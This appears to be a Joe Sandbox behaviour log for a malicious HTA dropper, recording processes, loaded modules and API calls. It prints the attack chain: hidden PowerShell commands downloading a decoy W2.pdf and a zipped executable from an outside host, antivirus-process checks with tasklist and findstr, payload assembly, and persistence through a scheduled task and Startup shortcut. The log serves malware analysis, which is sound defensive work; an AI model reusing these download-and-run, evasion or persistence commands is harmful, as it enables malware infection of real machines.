Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F1A7638_2_005F1A76
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005D9B6038_2_005D9B60
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F7B8B38_2_005F7B8B
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F1D2038_2_005F1D20
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F7DBA38_2_005F7DBA
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F1FE738_2_005F1FE7
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: String function: 00B4FD52 appears 40 times
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: String function: 005F0DA0 appears 46 times
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: String function: 00B50DA0 appears 46 times
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: String function: 005EFD52 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: String function: 004062CF appears 57 times
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winHTA@68/101@0/2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA41FA GetLastError,FormatMessageW,36_2_00BA41FA
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B92010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,36_2_00B92010
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B91A0B AdjustTokenPrivileges,CloseHandle,36_2_00B91A0B
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00632010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,38_2_00632010
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00631A0B AdjustTokenPrivileges,CloseHandle,38_2_00631A0B
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,15_2_004044D1
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,36_2_00B9DD87
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_004024FB CoCreateInstance,15_2_004024FB
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA3A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,36_2_00BA3A0E
Source: C:\Windows\SysWOW64\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\c2[1].batJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9008:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8904:120:WilError_03
Source: C:\Windows\SysWOW64\mshta.exeFile created: C:\Users\user\AppData\Local\Temp\temp.batJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat"
Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\c2.hta"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1275163291349414999,11919698709782413432,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exe
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\cleanup.bat"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 677826
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\677826\Prostores.com Prostores.com N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & echo URL="C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat"Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\cleanup.bat"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exeJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1275163291349414999,11919698709782413432,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 677826
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\677826\Prostores.com Prostores.com N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & echo URL="C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d2d1.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msxml6.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msdart.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
